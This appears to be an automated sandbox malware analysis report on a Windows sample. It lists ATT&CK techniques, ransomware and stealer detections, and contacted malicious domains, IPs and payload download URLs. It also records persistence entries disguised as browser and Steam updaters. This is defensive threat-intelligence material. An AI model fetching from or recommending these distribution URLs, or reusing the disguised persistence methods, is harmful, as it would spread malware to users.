Cloud Accounts	Service Execution3	Network Logon Script	Process Injection513	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery571	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading31	Proc Filesystem	Virtualization/Sandbox Evasion231	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion231	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection513	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
JV4ILFxpDY.exe	34%	Virustotal		Browse
JV4ILFxpDY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\8DFC.exe	100%	Avira	HEUR/AGEN.1211353
C:\Users\user\AppData\Local\Temp\1530.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8939.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\36D4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7C86.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\259C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D675.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\jhewjjt	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F10C.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\exmrkmjs.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\754.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\85ED.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\E812.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8DFC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D489.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1530.exe	63%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\754.exe	46%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\7C86.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\7C86.exe	77%	ReversingLabs	Win32.Trojan.Raccoon
C:\Users\user\AppData\Local\Temp\8DFC.exe	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\8DFC.exe	89%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\D489.exe	63%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\E812.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\E812.exe	81%	ReversingLabs	Win32.Trojan.Raccrypt

Unpacked PE Files

Source	Detection	Scanner	Label	Download
40.0.8DFC.exe.f40000.5.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
40.0.8DFC.exe.f40000.7.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
26.2.85ED.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
2.0.JV4ILFxpDY.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.0.JV4ILFxpDY.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.3.85ED.exe.660000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
25.2.D675.exe.580e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
15.0.jhewjjt.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.0.7C86.exe.5e0e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.8939.exe.5715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.1.JV4ILFxpDY.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
25.2.D675.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.0.7C86.exe.5e0e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.8DFC.exe.8d0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
2.2.JV4ILFxpDY.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.2.8DFC.exe.8d0000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
40.0.8DFC.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
40.0.8DFC.exe.f40000.11.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
17.0.7C86.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.jhewjjt.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.jhewjjt.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.JV4ILFxpDY.exe.6415a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.7C86.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.8DFC.exe.f40000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
24.0.8939.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
40.0.8DFC.exe.f40000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
24.0.8939.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.0.8939.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
17.2.7C86.exe.5e0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.8DFC.exe.8d0000.1.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.1.jhewjjt.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.8DFC.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
26.2.85ED.exe.640e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
24.0.8939.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1123244	Download File
2.0.JV4ILFxpDY.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.8DFC.exe.f40000.9.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
25.3.D675.exe.5a0000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
27.0.8DFC.exe.8d0000.2.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
40.0.8DFC.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
40.0.8DFC.exe.f40000.13.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
24.1.8939.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.2.8939.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.3.7C86.exe.2090000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.0.7C86.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.8DFC.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
24.0.8939.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.2.jhewjjt.5715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.0.8939.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
27.0.8DFC.exe.8d0000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
40.0.8DFC.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1145065	Download File
40.0.8DFC.exe.f40000.3.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
15.2.jhewjjt.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
40.0.8DFC.exe.f40000.0.unpack	100%	Avira	HEUR/AGEN.1211353	Download File
24.0.8939.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123244	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://host-data-coin-11.com/	0%	URL Reputation	safe
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	13%	Virustotal		Browse
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	0%	URL Reputation	safe
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	16%	Virustotal		Browse
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	100%	Avira URL Cloud	malware
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://unicupload.top/install5.exe	100%	URL Reputation	phishing
http://crl.ver)	0%	Avira URL Cloud	safe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	14%	Virustotal		Browse
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://goo.su/abhF	0%	Avira URL Cloud	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://185.233.81.115/32739433.dat?iddqd=1	0%	Avira URL Cloud	safe
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	100%	Avira URL Cloud	malware
https://dynamic.t	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
unicupload.top	54.38.220.85	true	false	high
host-data-coin-11.com	93.189.42.167	true	false	high
cdn.discordapp.com	162.159.134.233	true	false	high
privacy-tools-for-you-780.com	93.189.42.167	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
a0621298.xsph.ru	141.8.194.74	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.225	true	false	high
data-host-coin-8.com	93.189.42.167	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a0621298.xsph.ru/7.exe	false		high
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://host-data-coin-11.com/	false	URL Reputation: safe	unknown
http://data-host-coin-8.com/files/6961_1642089187_2359.exe	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/advert.msi	false		high
http://data-host-coin-8.com/game.exe	false	URL Reputation: safe	unknown
http://data-host-coin-8.com/files/8474_1641976243_3082.exe	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/c_setup.exe	false		high
http://a0621298.xsph.ru/3.exe	false		high
http://a0621298.xsph.ru/RMR.exe	false		high
http://a0621298.xsph.ru/443.exe	false		high
http://unicupload.top/install5.exe	true	URL Reputation: phishing	unknown
http://a0621298.xsph.ru/442.exe	false		high
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	true	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://goo.su/abhF	false	Avira URL Cloud: safe	unknown
http://a0621298.xsph.ru/9.exe	false		high
http://a0621298.xsph.ru/KX6KAZ9Tip.exe	false		high
https://185.233.81.115/32739433.dat?iddqd=1	true	Avira URL Cloud: safe	unknown
http://data-host-coin-8.com/files/7729_1642101604_1835.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/9030_1641816409_7037.exe	true	Avira URL Cloud: malware	unknown
http://a0621298.xsph.ru/123.exe	false		high
https://cdn.discordapp.com/attachments/903666793514672200/930134152861343815/Nidifying.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000006.00000002.308803706.00000250B9213000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000006.00000003.308279786.00000250B9240000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308896976.00000250B9242000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000006.00000003.308279786.00000250B9240000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308896976.00000250B9242000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 00000006.00000002.308803706.00000250B9213000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/ip	8DFC.exe, 0000001B.00000002.439913258.0000000003DD1000.00000004.00000001.sdmp, 8DFC.exe, 00000028.00000000.434050190.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000006.00000003.308273257.00000250B9245000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000006.00000002.308940656.00000250B9269000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308122134.00000250B9266000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000003.308273257.00000250B9245000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000012.00000002.396490559.0000020403B00000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308279786.00000250B9240000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308903818.00000250B924B000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000012.00000003.375079300.0000020403BAC000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.375107209.0000020403BAC000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.375144529.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.375125346.0000020403B95000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000002.308803706.00000250B9213000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308890561.00000250B923D000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000006.00000003.308315333.00000250B924F000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.308165015.00000250B924D000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308915055.00000250B9255000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308903818.00000250B924B000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000006.00000003.308130125.00000250B9262000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000006.00000002.308878760.00000250B9239000.00000004.00000001.sdmp, svchost.exe, 00000006.00000003.285490619.00000250B9230000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.308903818.00000250B924B000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000006.00000003.308151545.00000250B925F000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 00000012.00000003.374059680.0000020403B7C000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374176081.0000020404002000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.374098786.0000020403BBD000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://%s.dnet.xboxlive.com	svchost.exe, 00000004.00000002.599486019.00000209C1E3E000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000003.308213733.00000250B9249000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
172.67.139.105	goo.su	United States	13335	CLOUDFLARENETUS	false
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
93.189.42.167	host-data-coin-11.com	Russian Federation	41853	NTCOM-ASRU	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
141.8.194.74	a0621298.xsph.ru	Russian Federation	35278	SPRINTHOSTRU	false
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	552985
Start date:	14.01.2022
Start time:	01:49:18
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	JV4ILFxpDY.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@50/33@90/12
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 23.8% (good quality ratio 17%) Quality average: 55.1% Quality standard deviation: 40.3%
HCA Information:	Successful, ratio: 57% Number of executed functions: 102 Number of non-executed functions: 282
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): consent.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.4.86, 20.54.110.249, 20.42.65.92, 20.189.173.22, 142.250.186.74, 142.250.186.106, 142.250.186.138, 142.250.186.170, 142.250.184.202, 142.250.184.234, 142.250.185.74, 142.250.185.106, 142.250.185.138, 142.250.185.170, 142.250.185.202, 142.250.185.234, 172.217.18.106, 142.250.181.234, 172.217.16.138, 216.58.212.170 Excluded domains from analysis (whitelisted): js.monitor.azure.com, avatars.githubusercontent.com, patmushta.info, onedsblobprdwus17.westus.cloudapp.azure.com, clientservices.googleapis.com, sincheats.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, r4---sn-5hne6nzs.gvt1.com, go.microsoft.com, clients2.google.com, redirector.gvt1.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, yandex.ru, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, github.com, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, iplogger.org, e1723.g.akamaiedge.net, www.googleapis.com, r5---sn-5hne6nzs.gvt1.com, ris.api.iris.microsoft.com, browser.events.data.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, docs.microsoft.com, wcpstatic.microsoft.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:50:48	Task Scheduler	Run new task: Firefox Default Browser Agent C25148E6F945E192 path: C:\Users\user\AppData\Roaming\jhewjjt
01:50:54	API Interceptor	7x Sleep call for process: svchost.exe modified
01:51:02	API Interceptor	1x Sleep call for process: D675.exe modified
01:51:09	API Interceptor	2x Sleep call for process: dllhost.exe modified
01:51:13	API Interceptor	1x Sleep call for process: WerFault.exe modified
01:51:15	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
01:51:41	Task Scheduler	Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
01:51:48	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start ChromeUpdate.lnk
01:52:02	API Interceptor	1x Sleep call for process: explorer.exe modified
01:52:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Steam C:\Users\user\AppData\Roaming\NVIDIA\dllhost.exe
01:52:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Steam C:\Users\user\AppData\Roaming\NVIDIA\dllhost.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_7C86.exe_2af8947ee494ec41f812f5e528f61d3de62185d_d99b4c85_14e1e829\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8137835633049646
Encrypted:	false
SSDEEP:	96:PrFx9DUZLbfnXOQoJ7R3V6tpXIQcQec6tycEfcw3m+HbHg/8BRTf3o8Fa9iVfOyD:z5DU1bf28HQ0lbjIq/u7sTS274ItL
MD5:	AD5EA79F6FF3C7F09B121937D84DA1DA
SHA1:	3AA36A4F0E26A571DB72EE6D7D19821FFD31CDA5
SHA-256:	CA90D7B7AACE3F84C72C3EF49007A624AD7B93BAFA5990824C9C02BBA0333453
SHA-512:	C93961034CB663B2736B19CAFAFE3B6EDC2FDFB34D511324DD422C1D519133EA8F355B037BF341C1FB1F7B7B4674725DAB04B93542B83E26C2A1E1A2E6ACAF6A
Malicious:	false
Reputation:	unknown
